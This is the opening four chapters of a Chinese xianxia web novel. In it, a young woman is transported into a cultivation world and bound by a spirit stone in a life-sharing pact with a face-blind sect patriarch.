《与脸盲老祖结契共生》
1. 第 1 章
刺骨的寒意顺着脊椎疯窜,后腰的剧痛像有无数根钢针在反复穿刺,夏栀仰躺在地上,每一次喘息都带着撕裂般的痛。
黏腻的温热浸透衣衫,生命力正顺着伤口飞速流失。
双腿沉得像灌了铅,只剩指腹还残留着一丝微弱知觉,勉强感受着身下粗糙石面的冰凉。
意识在清醒与混沌间来回拉扯,碎片般的记忆在脑海中流淌。
明明刚才,她还在电脑前,跟着团长开荒团灭,胸口后背突如其来的闷痛令人难忍。
不过是在身后的小床上歇了一瞬,再睁眼,怎的就躺在了这片荒无人烟的嶙峋石林中。
凉意顺着被血浸透的衣衫,钻进骨髓,后腰的疼又添了几分。干涸的嘴张了张,“救命”两个字堵在嗓子眼里,只剩几不可闻的呜咽在空旷的石林里消散。
这不是梦。
夏栀咬着牙,齿间渗出血气,拼尽最后一丝力气用双臂撑起。
可上半身刚离地,钻心的剧痛便瞬间席卷全身,眼前一黑,连呼吸都有些停滞,险些昏死过去。
死亡的阴影步步紧逼,裹着刺骨寒意,一点点吞噬她最后的意识。
痛感渐渐变得麻木,就在她准备放弃抵抗时,一股异香突然飘入鼻腔。
这香气,如花间清露,混着一丝极淡的苦;又如老林沉木,苦中浸香;到最后,竟能尝到一丝回甘,像雨后新割的草坪般好闻。
更奇的是,香气入鼻的瞬间,后腰钻心的痛竟奇迹般地缓解了几分。
夏栀艰难地掀开沉重的眼皮,视线模糊了好一阵才逐渐聚焦,发现这异香的源头,正站在自己身前,垂着眼帘看她。
男子一袭月白长衣,乌黑的发随意的束起,几缕碎发垂在额前,他面容清俊,眉眼淡漠,周身萦绕着一层薄如蝉翼的白雾。
仙气飘飘的模样,与这片荒芜凶险的石林格格不入,仿佛误入凡尘的仙人。
夏栀心头一震,忘了疼,直愣愣地看着他。
两人眼神交汇的瞬间,那白衣仙人面上透着几分不自然,皱着眉后退了半步,随即别过脸去,避开她的目光。
夏栀躺在地上猛吸着镇痛香气,脑中却不合时宜的闪过:这COSER好专业!
白衣仙人犹豫了片刻,目光扫过夏栀身下的地面,显然是被她挡住了去路。
只是稍作停顿,他便长袖一甩,竟凌空踏步,像踩着无形的台阶般,赤脚从夏栀身上半米高的空中缓步而过。
眼前一幕,惊得夏栀忘了呼吸,眼睛瞪得溜圆。就连那人拖长的衣摆从她脸上扫过,也无丝毫反应。
直到香气渐淡、疼痛回笼,她才懵懵懂懂的回过神来,龇牙咧嘴的对着白衣仙人的背影做着怪表情。
终于在恐惧的驱使下,夏栀憋了半天,还是没忍住,哑着嗓子喊了一声:“你先别走!”
闻言,白衣仙人的脚步只顿了一瞬,便又继续往前走,没有半点回头的意思。
针扎似的疼一阵紧过一阵,她脑子一片空白,身体控制不住地发抖。什么也顾不上了,眼一闭心一横,扯着嗓子大喊:“别走......白的!救我一下行不行......”
那人瞬间停住脚步,衣袖一甩,回身盯着躺在地上的夏栀。
须臾间,他再次回到了她的面前。
冰凉的手掌悬在她额前,丝丝寒气裹挟着异香渗入肌理,后腰的剧痛如潮水般退去,夏栀松了口气,没表现出过多欣喜,只是傻傻的看着他。
白衣仙人紧盯着她,仔细打量,眼底藏着一丝疑惑,还有几分说不清道不明的复杂情绪。
不多时,他眼帘下垂,长睫掩去疑惑,冰凉的中指轻轻落在她的眉心,似是察觉到什么异常,指尖微顿,转瞬又恢复淡漠。
一道柔和暖流伴着香气灌入体内,瞬间流遍全身,后腰的剧痛彻底消散,浑身都变得暖融融的。
就在夏栀被这暖意裹着,昏昏欲睡之时,白衣仙人手腕一转,一枚麦丽素大小的红丸被强行塞进她嘴里,入口即化。
“你给我吃了什么?”夏栀警惕地问。
半晌,白衣仙人才薄唇轻启,声线淡如寒烟:“来妙木峰找吾。”
不等夏栀再开口,那道月白身影便转瞬消失在石林深处,只余下空气中残留的淡淡异香。
直到镇痛香气彻底消散,夏栀才发现身体已经不疼、也能动了。
她慢慢坐起,摩挲着完好如初的后腰。
环顾四周,怪石依旧,风声依旧,只有自己被血浸透的破损衣袍,还留着受伤的印记。
夏栀低声嘀咕道:“妙木峰?在哪?”
稍作歇息、确认无碍后,她起身顺着山路往下走,转过石山背后,来到了一座热闹的小镇。
青石板路纵横交错,两旁商铺林立,人声鼎沸,吆喝声、讨价还价声此起彼伏,格外热闹。
镇上人人身着古雅衣衫,街边摊贩琳琅满目,药材、锦缎、刀剑一应俱全,就连网游里才听过的“灵石”“符箓”“灵兽”都摆上了摊,一眼望去,处处透着修仙世界的气息。
老玩家夏栀一边感叹着一边很快接受了自己穿越的事实。
她暗自琢磨着方才发生的一切,正犯愁该怎么打听妙木峰的事,身后却突然传来慌乱的叫喊:“让开!都让开!控制不住了啊!”
夏栀来不及回头,就被一股蛮横巨力猛的撞飞,在地上划出一道长长的痕迹,一同翻滚着的还有个青衣少年。
“撕拉——”
本就破损的后襟彻底崩裂,大片肌肤暴露在外。
夏栀又羞又恼,慌忙用手臂死死护住自己,怒气冲冲地瞪着狼狈起身的少年,却被他好看的面容惊的愣了一瞬。
青衣少年拍了拍身上的尘土,弯腰对着夏栀伸出手,脸上满是歉意,温和笑道:“多有抱歉!某御剑术刚入门,还不太熟练,一时没控制住,冲撞了道友!”
说着,他的目光落在夏栀堪堪遮住的肩头,瞬间面露愧疚,连忙收回了手:“哎呀!姑娘,你这……真是对不住!”他扬手抽出腰间乾坤袋,低头翻找起来:“某出门仓促,没带太多东西,姑娘先披上这个。如若方便,随某回去取件新衣裳,再拿些灵石赔罪,绝不委屈你!”
话音未落,他已摸出一件宽大的黑袍将夏栀裹住,伸手就要扶她起来。
夏栀顿时连忙往后缩,慌乱的摆着手:“别别别!我自己来
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!我自己能起来!”
可她刚撑着站起身,一阵晕眩突然袭来,天旋地转间,无尽的黑暗侵入身躯,隔绝了一切,呼吸仿佛有千斤重,夏栀不受控制地向后倒去。
少年眼疾手快,连忙伸手接住她,旋即抬手,一道温和的气劲将她笼罩。
夏栀脸色苍白,双眼紧闭。
他一手揽着她的腰,另一手从袖中摸出数枚银针,稍稍运力,肉眼可见的气劲附着在针尖上,少年手腕扬起,对着夏栀脖颈的穴位扎去。
就在针尖触及肌肤的瞬间,夏栀体内突然涌出刺眼白光,一股霸道气流席卷四周,少年躲闪不急,被那股力量生生震开,踉跄着后退了几步,堪堪稳住身形。
夏栀失去了支撑,却并没有摔倒,身体缓缓浮空,发丝被气流吹得向后扬起。
少年满眼惊骇,低声道:“高等禁制?!”
那股从夏栀体内爆发出来的内力,来得快,去得也快,不多时,就又重新被她吸收了回去。
直到空气中蓬勃的内力气息消散殆尽,夏栀才缓缓落回地上,睫毛颤了颤,慢慢睁开了眼睛。
清醒过来的夏栀,眨巴着眼睛,一脸纳闷地看着满脸惊骇的少年。
她刚才就是起得太猛,晕了一瞬而已,这人至于这么惊讶吗?难道有什么问题?
但想想自己现在这狼狈的摸样,也许就是最大的问题。
随即对着他莞尔一笑,示意自己并无大碍。
见夏栀似乎真的没事,少年松了口气,对着她拱手行礼:“在下温陵江,方才多有唐突,致使姑娘受惊,还望海涵。”
夏栀摆了摆手,礼貌地回笑:“没事没事,我叫夏栀。初来贵地,不太熟悉,不知这是哪里啊?”
温陵江眼中闪过一丝疑虑,如实回道:“此处是合欢宗腹地,莲心镇。夏姑娘是一个人?这里距离宗门颇远,姑娘又是如何来的?”
夏栀心下暗叫糟糕,总不能坦白自己是穿越过来的吧?只好讪讪地笑了笑,含糊道:“我……我迷路了,走着走着就到这儿了。”
她瞅着温陵江狐疑的表情,正琢磨着该编个什么借口才更合理,莲心镇的上空突然响起了沉闷的钟声,两短一长,清晰地传遍了整个小镇。
钟声落下后,温陵江又自腰间摸出一张符纸,双指并起,指尖运力,轻轻点在纸符上。
其上泛起一圈淡淡的波纹,随即,一道清亮的女声从中传了出来:“老祖出关,招弟子,妙木峰。”
“妙木峰”三个字入耳,夏栀的眼睛一亮。
这不就是白衣仙人让她去的地方吗?真是踏破铁鞋无觅处,得来全不费工夫!
不等她开口询问,温陵江收起纸符,回身再次作揖,语气里满是歉意:“夏姑娘,温某方才御剑冲撞了你,虽表面伤势不重,却恐有内伤隐患。本想带姑娘上山诊治,可眼下宗门传召,事关重大,不便耽搁。”
他顿了顿,又继续说道:“不如某与姑娘约定,三日后在此地赔罪。届时,某必带齐灵石和疗伤丹药,再送姑娘一件新衣裳,此诺必践,绝不轻慢。”
“我去!”夏栀立刻开口,眼神坚定地看着温陵江,“我跟你一起去妙木峰!”
2. 第 2 章
两人踏着山路往上走,搭话间,夏栀才明白,周围的山川地势,全是合欢宗的地界。
“合欢宗,就建在这座莲花山上。”温陵江抬手指向远处连绵的群山,语气带着几分自豪,“此山,顾名思义就像一朵盛开的巨大莲花,四周层峦叠嶂,大小山峰足足百余座。其中五行峰最为高耸,分别对应金、木、水、火、土五行灵力,而五峰之中,又以妙木峰为尊,正是合欢宗主峰所在。”
夏栀顺着他手指的方向望去,果然见远处群山簇拥,真真切切像一朵舒展的莲花,看得她暗自惊叹,这修仙宗门,着实气派非凡。
温陵江又继续说道:“莲花山中央是一片宽阔平地。近百年来,合欢宗日渐兴盛,不少外门弟子,和其他宗门的修士,都想来求取一位道侣,借着双修之法增进修为。平日里来来往往的人多了,便有人在此地搭棚落脚、摆摊易物。久而久之,竟慢慢演化成了一小片镇集。只是因为疏于管辖,总是发生械斗之事。”
夏栀想了想又问起妙木峰上是否有位白衣仙人,听着她的描述,温陵江却是摇头道:“若是只说白衣男子,合欢宗里这般打扮的修士,几乎遍地都是。但你说能够凌空踏走,别说合欢宗,就算是问剑宗也没有,否则温某也不会费心去学那御剑之术了。”
夏栀脸上的期待瞬间褪去,取而代之的是满满的失落。
温陵江若有所思地打量了夏栀一眼,语气迟疑,小声道:“以你所修,不该分辨不出吧……”
夏栀没能听清,歪着脑袋,挑眉问:“嗯?你说什么?”
温陵江收回目光,改口道:“某是说,你确定没看错?那人是凭空走在空中,而非踏着飞剑、玉盘之类的法器?”
夏栀仔细回想了一遍,十分确定,那人就是赤足、一步一踏地走在半空。可按温陵江所说,这世间根本没有修士能有这般功法,那她要找的人,莫非也是个“外来人”?
思忖间,上山的人流愈发密集,其中不乏有些穿着各异的人。
夏栀好奇起来:“不是说招收内门弟子吗?这么多人,难道都是合欢宗的人?”
温陵江摇头,脚步未停:“合欢宗比较特殊,宗门术法以双修为主。百年前,有位长老,与他人合修,短短数月就连破三境,直逼化神大圆满。此事传开后,无数修士慕名而来,想求双修法门。所以宗门内的外门修士,比正式弟子还要多。”
他顿了顿,补充道:“这次老祖收徒,明面上是收徒,实则大家都清楚,其实是在择选道侣。所以不管宗门、资质如何,都想来碰碰运气。”
“哦?”夏栀侧过脸看他,带着几分不怀好意的坏笑,“找道侣?这一路而来男女老少皆有,莫非你们老祖......”
温陵江跟着笑了笑,耐心解释:“双修并非外人所想那般,非要肌肤相亲,当然也不是随便找个人就能修的。诸多限制里,最关键的便是五行灵力与气息是否相合,以及能否通过问灵石的承认,才是重中之重。”
“老祖乃是当今修为最高之人。合欢术中有一秘辛,与高阶修士合修,可在短时间内将自身修为拉至对方相近境界。传说宗门大能,更有手段跳过天劫。这几乎是当今修仙界,最便捷的升阶手段。”
夏栀眨了眨眼,脸上露出一副恍然大悟的神情,又小心的瞅了眼他俊逸的侧颜,随即笑道:“要我看,你可比他们希望大多了!”
温陵江笑意更甚,语气坦荡:“哈哈哈,多谢姑娘抬爱。只是温某一介医修,短时提升修为固然是好事,但医者之道,靠的是经年累月积攒的经验,比起修为暴涨,我更想多领悟几道医术,多识几道药方。”
听完这话,夏栀脸颊微微发烫,心底泛起一丝自愧。
她之前先入为主,总觉得合欢宗必定是自己所想的那样,也怀疑过温陵江心思不纯。之前被撞,周围路人那鄙夷的眼神,她还以为是温陵江故意碰瓷,想借机纠缠自己。
可如今看来,合欢宗僧多肉少,在旁人眼中,恐怕她才是不择手段,想要借机攀附上位的那个。
思绪飘转间,两人已行过山门。
高大的石牌坊矗立眼前,上面“妙木”二字笔力遒劲,透着股宗门大派的威严庄重。
夏栀仰头打量,没注意脚下,不慎被碎石一绊,身体踉跄着往前扑去。
温陵江眼疾手快,当即伸手,一把扶住了她的胳膊。
他皱起眉,语气里满是关切:“姑娘小心!你身受重伤,本不该带你长途跋涉。只是某今日下山,丹药、医具都未曾携带,又恰逢老祖出关,恐山门戒严,不得已才请姑娘一同上山。你现在,可有不适?”
“不过是被撞了一下而已,哪有你说的那么严重!”夏栀摆摆手,语气轻松。
“姑娘当真是我见过最坚毅的女子。即便经脉尽断、五脏俱损,还能如此精神抖擞,当真是女中豪杰!温某佩服!”温陵江松开手,深深鞠了一躬,语气郑重。
“等等,经脉尽断?五脏俱损?谁?我吗?”夏栀不可置信地指着自己。
这一刻,她的心咯噔一下。
温陵江面露疑惑:“姑娘竟是不知自己的伤势?”
夏栀茫然地摇了摇头。
温陵江思索片刻,缓声解释道:“某也只是在撞到姑娘的时候,探查到你体内受损颇深。具体是什么情况,等到了药庐,某再给姑娘仔细诊断。”
夏栀还没缓过神来,心中一万匹草泥马崩腾而过:所以,那白衣仙人根本不是治愈了她,而是给她打了一剂麻醉药啊!找不到人她岂不是真的死定了!
温陵江不动声色地看了夏栀一眼,瞧她脸色愈发惨白,似乎对禁制一事当真全然不知。
他岔开话题:“一路同行,还未请教姑娘名讳?”
“夏栀。”她轻声应和,习惯性的戴上了礼貌又不失优雅的牛马人微笑。
温陵江看着她的笑容,如沐春风,脸颊悄然泛红,连忙别开视线。
夏栀并未察觉他的异样,心底只剩焦虑:这下无论如何都需尽快找到麻醉师才行。只是此刻人山人海,到处都是前来碰运气的修士,该从哪里找起呢?
话说那麻醉师怎么回事,干嘛挑这么个地方!也不明说自己的伤势,早知道她就该找两个轿夫!
夏栀还在心中无能狂怒的时候,两人已经来到了一片小广场前。
广场上人头攒动,所有修士都翘首以盼的在等待着什么。
夏栀垫起脚,伸长了脖子往里瞅,但除了人头却什么也看不到。
“此处再往上,就是晨殿了,问灵石便安放在殿中。”温陵江缓缓低声解释,“看样子,老祖和各峰主,应该还未到。”
这时,身边两名外门弟子的交谈声传了过来:
“你听说了吗?合欢宗这位老祖,闭关前就已经踏入地仙境了!这一晃三百年,如今出关,岂不是就要步入金仙境了?这般神人,也需要找道侣?”
“管他需不需要,我需要啊!”另一人言语激动,“合欢宗的双修法门,你又不是没听过,一跃三啊!况且现如今,整个修仙界,哪里还能找到第二个踏入地仙境的大修,仅此一位!此等机缘,千载难逢,错过了,这辈子都别想再有!”
“可……
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你说,老祖会不会是渡不过天劫,才急着找人双修?”先前那人语气迟疑,“百年前那两人,虽然风光一时,可后来也销声匿迹了。我总觉得,修为升得这么快,会不会有隐患?”
“你懂个屁!”另一人嗤笑,压低声音,“世人都知道这一跃三境的伟绩,遇到心善的,不过多问几句;遇到些心思歹毒的,指不定会做出什么事来。换做是我,修成之后,也得找地方先藏起来!”
夏栀悄悄听着两人的对话,心中对合欢宗,与那位神秘的老祖,又多了几分好奇。
温陵江在一旁稍作停留,见广场上的人越来越多,便准备带着夏栀先去药庐,可转头一看,她正听得入神,眸子亮晶晶的,不由失笑,轻声问道:“夏姑娘,也想试试?”
夏栀有些羞涩地摆了摆手,语气含糊:“一点点而已!我就是没见过这种场面,纯粹好奇罢了。”
说话间,人流不断涌来,两人不知不觉已被挤到了广场中间。
温陵江微微欠身,示意夏栀可以往外围走走,以免被激动的人群冲撞了去。
就在这时,广场前方的晨殿大门,突然发出沉闷声响,缓缓向两侧打开。
随着殿门的开启,喧闹的人群瞬间安静下来,众人屏息凝视,满脸敬畏,都想一睹这位当世第一大修的真容。
夏栀和温陵江也不由得停下脚步,一同驻足等待。
大门彻底敞开,四道身影依次走出,气质各不相同。
温陵江低声介绍,这是四位峰主,灵水峰峰主尚未回宗,故而缺席。
紧接着,一道白衣身影缓缓从殿内走出。
男子身姿高挑,气质清冷,周身萦绕着一层淡淡的灵气,不染半分尘埃,面容俊美却毫无波澜。
刚走出几步,他却突然停在了殿门前,抬眼扫过下方乌压压的人群,眉头骤然拧紧。
随着老祖的出现,广场上瞬间响起一阵压抑的低呼,修士们个个面露惊艳,显然是被他清冷出尘的模样所折服。
不少女修甚至失声低叹:“若能与君结为道侣,纵使不修大道,也心甘情愿!”
夏栀好奇得不行,踮起脚尖,拼命伸长脖子往里看,可以她的身高,依旧什么也看不到。
她暗自腹诽:不对啊,好歹也是一米七的大高个,怎么到了这修仙界,连个人影都看不到?难道这修仙界的人,人均身高都逆天了?
她在原地转了一圈,四处打量,也没找到能垫脚的东西。
转头时,正好对上温陵江看过来的目光,当即眼睛一亮,对着他招了招手,语气急切:“温兄!来来来,搭把手,托我一下!”
说完,她不由分说拉起他的手,将温陵江的左手扣在他右腕上,让他双臂前伸、微微下蹲。
确认他摆好了姿势,夏栀先用力往下压了压,试了试力道。见稳妥无误,便不客气地一脚踩在他交叠的腕间,脚下微微用力一踏,整个人瞬间高高跃起。
此刻晨殿门前,除了四位峰主和那位老祖,还站了不少修士,看模样,应该是各峰弟子中的佼佼者,正依次上前行礼。
人实在太多,夏栀这短暂的一跃,根本没能看清。
她拍了拍温陵江的手,笑了笑,语气轻快道:“兄弟,撑一会儿哈!”
接着,她像只小兔子一般,借着温陵江的力道,在他腕间一蹦一跳的张望起来。
折腾了好一会儿,终于在人群靠后,找到了那位被众人簇拥着的合欢宗老祖。
可这一眼望去,夏栀却惊道:“握草?麻醉师!”
合欢宗老祖,竟然就是那白衣仙人!
3. 第 3 章
这边,夏栀还僵在原地,脑子里嗡嗡作响,全然没从震惊中缓过神来。
殿门前的诸位峰主,却已被她方才躁动的身影吸引了注意力。
一道严厉的声音,带着些许怒气响彻殿前,震得人耳膜发疼:“那个跳来跳去的!哪家的弟子?老祖殿前,岂容尔放肆嬉闹!”
夏栀依旧愣着,半点反应没有。
声音源头见无人应答,怒意更盛,又吼一声:“无知小儿,岂是不敢认?出来!”
周围的目光逐渐聚集了过来,密密麻麻扎在身上,夏栀这才如梦初醒,眼神慌乱地来回扫视,手脚都不知道往哪放好。
恰逢此时,身边的温陵江抬手,朗声道:“火峰主,是弟子。”
顿时,全场的注意都被吸引了过来。
温陵江躬身施礼,语气平稳:“在下妙木峰弟子,温陵江。”
他话音刚落,广场上响起了此起彼伏的窃窃私语声:
“居然是他?那个合欢宗的独苗医修!”
“我听说过这人!好多济世仙门不收的人,都来他这的!”
“前些年我师父的哆嗦症,就是他治好的,药到病除!”
“年纪轻轻,神医之姿!怎的就拜入合欢宗了?”
夏栀侧头看了眼身边神色淡然的温陵江,心里暗呼:好家伙!又是个隐藏大佬!
这时,一道声如洪钟,带着几分亲和的厚重男声响起:“江儿,快上前来,拜见老祖。”
话音落下,两人身前簇拥的人群自觉让开一条路,直通向殿门高台。
夏栀有些发慌,被这么多人盯着,难免怯场,她使劲低着头,手心都冒了汗。
温陵江见状,轻轻拍了拍她的发顶,声音柔和:“跟着我,别怕。”说罢,率先向殿前走去。
夏栀连忙裹紧身上的外袍,快步跟了上去。
行至殿前,忐忑的跟着温陵江,向殿上诸位峰主一一行礼。
最后,两人走到了那名白衣仙人面前,停下脚步。
“弟子温陵江,见过老祖。”他深深一礼,语气恭敬。
“夏……夏栀,见过麻……见过仙人。”
夏栀抬起头,偷偷瞄了白衣仙人一眼,却见他目光正落在自己的发顶上,面上没有半点波澜。
她心里犯起嘀咕:明明是他叫自己来的,怎么这模样,像是不认识似的?难道才这么一会儿,就忘了?还是另有原因?
这时,妙木峰的峰主笑呵呵地向前迈了一步。
他身形浑圆,脸上堆着亲和的笑,看着很像庙里供奉的弥勒佛,给人一种莫名的亲切感。
他抬手拢了拢衣袍,藏着几分掩饰不住的紧绷,垂眸躬身时,声音压得略低,语气恭敬:“老祖,闻您遴选弟子,故斗胆召集宗内所有弟子前来,一来让大家瞻仰仙颜,二来也盼着能为您多添几个备选之人,还望老祖恕罪。”
众人再次看向了白衣仙人。
他立在原地,衣袂随殿间微风轻拂,神色平缓,唯有周身的气息愈发清寒,出尘脱俗。
沉默了良久,他才缓缓抬眼,目光轻扫过殿前人群,无波无澜。
半晌,他薄唇轻启,不掺半分感情,带着一种疏离的淡漠:“何必多事。”
峰主那浑圆的身子猛地一僵,后背瞬间浸出冷汗。他双腿微曲,躬身拜得更深,笑意僵在脸上,嘴角微微抽搐,声音都有些许发颤:“是弟子鲁莽,还望老祖恕罪。”
鸣金峰峰主见状,飞快瞥了眼仍躬身垂首的木峰主,又迅速移开目光,带着几分小心翼翼,低声道:“柳峰主擅自做主确实不妥,但也是弟子们的一片心意。眼下人数众多,着实难辨,不如老祖先在内门弟子中挑选,也好甄别资质。”
说罢,让出身后的两人,眼神飞快示意了一下,身形始终保持着躬身的姿态,不敢有半分逾矩。
赤火峰峰主也不甘示弱,伸手一把将自己的得意弟子推到身前,朗声道:“老祖,我这弟子资质绝佳,可堪大用!”
另外两峰的首席弟子见状,也跟着上前一步,挺直腰板,凑到了白衣仙人面前。
这下一群人站在老祖面前,个个都扬起了脸,眼神里满是期待,静静等着他的审查。
夏栀和温陵江还没来得及挪步,竟被挤到了正中央,两人对视一眼,都带着几分无奈。
白衣仙人缓缓抬眼,目光慢悠悠地扫过眼前的数名弟子,语气平淡:“吾心中已有人选,不劳诸位……”
忽的,他目光一滞,落在了夏栀身上。
他的眼神下移,掠过她的衣袍,最后定格在那双沾满泥泞的布鞋上,一动不动。
夏栀此时正紧张的抠脚,从殿前到广场,人们无一例外的随着老祖的视线,盯着自己的脏鞋。
她一边心想着这人不会有洁癖吧!一边恨不得把脚也藏进袍子里。
正想着,白衣仙人突然踱步而来,伸出一根骨节分明的白葱玉指,不由分说地挑起她胸前的袍领。
轻轻一掀,露出了袍下的破烂里衣,以及半截白皙的香肩。
瞬间在场的人都倒吸一口凉气。
夏栀更是死死攥着袍角,生怕他再多掀一分,脸上一阵红一阵白,既尴尬又恼怒,还有点委屈。
片刻后,白衣仙人才收回手指,缓缓道:“随吾进来。”
袍领落下,遮住了露出来的肌肤。
夏栀还在刚才的羞恼中回不过神,赤火峰峰主却在一旁先开了口。
他刻意压低了声音,仅能让殿前的峰主和弟子们听清:“老祖,您的脸盲症是否又犯了?此人并非合欢宗弟子,选她入殿,恐是不妥!”
白衣仙人没有回头,周身却瞬间散发出一股磅礴的威压,如山如海般笼罩下来。他的声音依旧清冷,却带着些许怒意:“吾所言,汝听否。”
在场众人脸色骤变,纷纷低下头去,再不敢有异。
“还不进来?”白衣仙人的声音再次响起,带着不容违逆的威严。
夏栀踌躇不前,心里乱成一团麻,被激得打了个冷颤,连忙低下头,快步跟了上去。
她涨红了脸,脑袋恨不得埋进袍领里。
脸盲症?她万万没想到,这般高阶的修士,居然会有这种毛病!怪不得方才他认不出自己,原来是这么一回事。
正想着,人已经步入殿内,来到一块巨大的玉石前。
夏栀眼睛一亮,想起了温陵江之前说过的话。
这问灵石极为巨大,露在外面的不过半人多高的尖顶,余下大半皆深埋殿底,根本看不清具体有多大。
玉石表面泛着淡淡莹光,透着一股悠远古朴的厚重气息。
白衣仙人侧身让开半步,示意她将手覆上玉石。
夏栀本就对这巨型灵石好奇得不行,本着“见石头就摸,见庙宇就拜”的旅游传统,早就手痒得,迫不及待想试试这问灵石的质感了。
一接到指令,她立刻伸手按了上去。
掌心刚触到玉石,一股冰凉劲力窜入,紧接着又猛地抽回,力道之大,像是要把她的灵魂都一并扯走。
下一刻,问灵石表面缓缓漾开金光,柔和却不刺眼。
那层暖融融的金光渐渐变得透明,玉石中央,一幅立体画面缓缓浮现。
夏栀贴在玉石上,眯起眼睛,凑近了仔细看去。
画面中,一个小女孩的身影渐渐清晰。她面前摆着一张小小的手术台,台上躺着只白猫,小女孩哭得撕心裂肺,一边哭一边大喊着:“医生,救救它吧!妈妈!我不要白大走!白大,你不能走!”
画面一转,小女孩抱着那只白猫,眼泪还挂在脸上,声音哽咽,轻轻呢喃:“白大,我带你回家,我们回家……”
夏栀看着眼前的一幕,脑袋像是被重锤砸了一下,尘封的记忆翻涌而来。
这,是九岁的她。
白大是夏栀放学路上捡到的小白猫,起初它还叫小白。
后来,在一箱一
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箱的猫罐罐、猫条条的投喂下,小白越长越胖,最后发育成了一只小坦克似的胖猫咪,便改名叫白大,又白又大。
白大很粘人,喜欢在她玩耍的时候捣乱,推倒她的积木,拨乱她的画笔。可每当她认真看书、写字的时候,它又会安安静静地卧在一边,乖乖陪着她。
白大的脾气不好,要是被她忽视久了,就会跳到夏栀的头上踩踩踩,踩乱她好不容易编好的头发,但也从来不会做她不喜欢的事情,更不会抓伤她。
它还很会装乖,圆滚滚的模样讨人喜欢,全家人都宠着它,也任由夏栀把它走到哪带到哪,形影不离。
可后来,白大病了。
它瘦得飞快,往日圆滚滚的身子变得干瘪,精神萎靡,连最喜欢的猫薄荷都不愿意闻了。妈妈领着她,带着白大跑遍了城里所有的医院,找了无数医生,却始终没能治好它。
最后,一场失败的手术后,白大还是走了。
妈妈摸着她的头说,白大回到了猫星,去找它的亲人了,以后再也不会痛苦了。
从那以后,夏栀再也没有养过任何动物,哪怕是小小的花草,她也不敢再养。
思绪回笼,玉石中央的画面已经消散。
夏栀抬手一抹脸颊,才发现自己早已满脸泪痕,泪水顺着指尖滑落,滴在问灵石上,晕开一小片湿痕。
原来,即使这么多年过去了,那份失去的痛苦,也没有消失。
忽然,一只苍白,却十分好看的手轻轻抚了上来,覆在她的手背上。
他的掌心带着一丝微凉,手指缓缓从她的指缝中挤入,与她的手指交叠,一同按在问灵石上。
下一秒,金光瞬间暴涨,刺眼夺目,光晕之中,还隐隐透出血一般的暗红色,诡异又妖冶。
白衣仙人抬手,长袖轻轻一拂,那抹暗红色勿的散去,仿佛从未出现过一般。
他微微俯身,气息萦绕在她的耳边,声音低沉而轻柔:“闭上眼睛。”
夏栀听话的闭上了眼睛,掌下传来一阵刺痛,不算剧烈,却格外清晰。
痛感褪去后,再睁眼,问灵石上的金光已然转变,正发出耀眼的白光,一道蜿蜒的血痕,从两人交叠的手中缓缓向上蔓延。
白光漫映间,问灵石表面缓缓映出两道身影。
高大挺拔的白衣之下,缩着一道尚带稚气的黑影——那竟是她年少时的模样。
夏栀心里嘀咕着:返老还童?怪不得感觉变矮了!她记得自己是上了大学才突然猛长,当时室友们还打趣,说她是不是偷偷吃了增高药。
心里虽是吐槽着,面上却掩饰不住的高兴,毕竟谁不喜欢年轻呢!
夏栀喜滋滋的对着玉石臭美起来。
仔细看去,眼前的少女不过十六七岁光景,面容和她有七分相似,却又多了三分柔美,灵动的眉眼,清澈的瞳孔,看起来格外动人,妥妥的美人胚子。
可若是和她身后的白衣仙人比起来,就着实逊色太多了。
他虽面容清冷,却又不失温柔,精致的五官轮廓分明,透着成熟男人独有的魅力,深邃的眼眸像是藏着星辰大海,带着一股既危险又迷人的气息,让人忍不住沉沦,却又不敢轻易靠近。
忽而,一道缥缈而庄重的声音,自脑海中响起:“沈忘尘,金仙境,玄道。资质尚可,只是这认不出人的老毛病,怎的过了红尘劫,依旧没改。”那声音停顿了片刻,继续道:“夏栀,金……筑基期?”
这突如其来的疑惑,让身后的沈忘尘都为之一顿,显然也有些意外。
夏栀更是连气都不敢出,动也不动的屏息凝视着问灵石。
稍许寂静后,那道声音再次响起,依旧庄重:“夏栀,筑基期,金系灵根,剑道天赋,与我宗道统颇为相合。共生契已成,自此,你二人生死相依,福祸与共,不可分割。”
声音消散的瞬间,问灵石上的白光也跟着暗淡下去,最后恢复如初,仿佛刚才的一切,都只是一场幻觉。
4. 第 4 章
夏栀与沈忘尘贴得极近,他身上那令人安心的镇痛香气,环绕着两人,清冽而好闻。
问灵石的声音还回荡在脑中,那些字眼,令夏栀不由得红了脸,心脏快得像是要跳出胸腔。
直到两人掌下,最后一丝血线被问灵石吞噬殆尽,沈忘尘才缓缓松开压着她的手,直起身,转身向殿外走去,神色依旧。
守在殿外的众人,早已看到了殿内冲天而起的白光。
此刻见两人出来,无数道探究、好奇、震惊的目光,立刻齐刷刷地射了过来,密密麻麻,几乎要将夏栀淹没。
她瑟缩着往沈忘尘的身后躲了躲,紧攥着黑袍的手背上,还留有他的余温。夏栀唇瓣轻轻抿紧,羞赧漫上面颊,头埋的更低了点。
妙木峰主柳承安快步上前,凑到沈忘尘身边,压低声音,急切劝阻:“老祖,方才问灵石隐现红光,乃是凶兆啊!您与她结契,恐有不妥,还请收回成命!”
“汝何时见红?”
沈忘尘垂眸,声音冰冷刺骨,环绕周身的白雾也随之翻涌,漫延开来。磅礴灵力如山海倾泻,铺天盖地的威压席卷全场,连呼吸都为之一涩。
柳承安浑身僵住,被他冷眼一睨,额间渗出细汗,嘴唇动了动,却也不敢再多说一个字,只能低着头,盯着沈忘尘赤着的双脚,从自己面前缓缓迈过。
赤火峰主实在按捺不住,嗓门洪亮地质问道:“老祖何必选她?弟子观此人资质平平,与她结契,是不是太过草率了!”他性子本就急躁,话憋在心里实在难受,哪怕知道可能惹怒老祖,也非要问个明白。
鸣金峰主也连忙上前附和,语气里带着几分劝阻:“是啊老祖!宗门内优秀弟子不在少数,更是有不少金丹期、元婴期的佼佼者,她来历不明,是不是该再斟酌斟酌?”
沈忘尘脚步未停,依旧是那副清冷模样,语气平淡却带着不容置喙的威严:“契已成,无需多言。”
行至殿前,他转头扫了眼跟在身侧、依旧有些发懵的夏栀,语气忽然软了几分,轻声道:“汝与吾同生共死,且安心吧。”
说罢,他长腿一迈,身形轻盈,竟在众目睽睽之下凌空踏虚而起。
身侧白雾愈发凝厚,天地间的灵力也跟着轻微震荡,无形灵波漫过众人头顶,在场修士无不垂首屏息,不敢再直视老祖身姿。
只有夏栀,还愣愣的仰着头看他。
